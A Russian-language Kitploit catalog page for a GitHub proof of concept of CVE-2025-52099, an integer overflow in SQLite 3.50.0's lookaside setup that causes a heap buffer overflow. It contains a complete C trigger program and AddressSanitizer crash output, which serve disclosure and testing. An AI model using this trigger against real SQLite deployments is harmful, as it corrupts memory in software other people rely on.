Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-52099 — Доказательство концепции для CVE-2025-52099 — целочисленного переполнения в функции setupLookaside в SQLite 3.50.0, приводящего к переполнению буфера в куче. | Kitploit
Инструменты/GitHubGitHub/screambby/cve-2025-52099
Анализ уязвимостейАнализ КодаЭксплуатацияФаззингАнализ Бинарных Файлов
GitHubscreambby/cve-2025-52099

CVE-2025-52099

Доказательство концепции для CVE-2025-52099 — целочисленного переполнения в функции setupLookaside в SQLite 3.50.0, приводящего к переполнению буфера в куче.

Репозиторий
510 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-52099

целочисленное переполнение в SQLite 3.50.0 Ниже приведён proof-of-concept (PoC) для запуска целочисленного переполнения в функции setupLookaside в SQLite 3.50.0. Это переполнение возникает из-за непроверенного умножения sz * nBig, которое может привести к отрицательному значению и вызвать некорректные записи в память.

Протестировано на: Ubuntu 22.04 x86_64 с SQLite 3.50.0 (собственная сборка)

Код PoC (C):

#include <stdio.h> #include <sqlite3.h>

int main() { sqlite3 *db;

root@kitploit:~
// Open SQLite database
if (sqlite3_open("test.db", &db)) {
    fprintf(stderr, "Can't open database: %s\n", sqlite3_errmsg(db));
    return 1;
}

// Malicious lookaside configuration
// sz = 140, cnt = 1979733333
// This causes internal sz * nBig to overflow and produces negative nSm
int rc = sqlite3_db_config(db, SQLITE_DBCONFIG_LOOKASIDE, NULL, 140, 1979733333);
if (rc != SQLITE_OK) {
    fprintf(stderr, "Failed to configure lookaside: %d\n", rc);
    return 2;
} else {
    printf("[+] Lookaside configured\n");
}

// Create table and perform many inserts to exercise corrupted lookaside pool
sqlite3_exec(db, "CREATE TABLE test(id INTEGER);", NULL, NULL, NULL);

for (int i = 0; i < 100000; i++) {
    char sql[64];
    snprintf(sql, sizeof(sql), "INSERT INTO test(id) VALUES(%d);", i);
    sqlite3_exec(db, sql, NULL, NULL, NULL);
}

printf("[+] Insert finished. Closing DB.\n");
sqlite3_close(db);
return 0;

}

Этот PoC при компиляции с AddressSanitizer (-fsanitize=address) приводит к heap-buffer-overflow из-за некорректной конфигурации слота lookaside.

Наблюдаемый вывод с ASAN:

==12345==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200000f000 ... READ of size 8 at 0x60200000f000 thread T0 ...

Скачать инструмент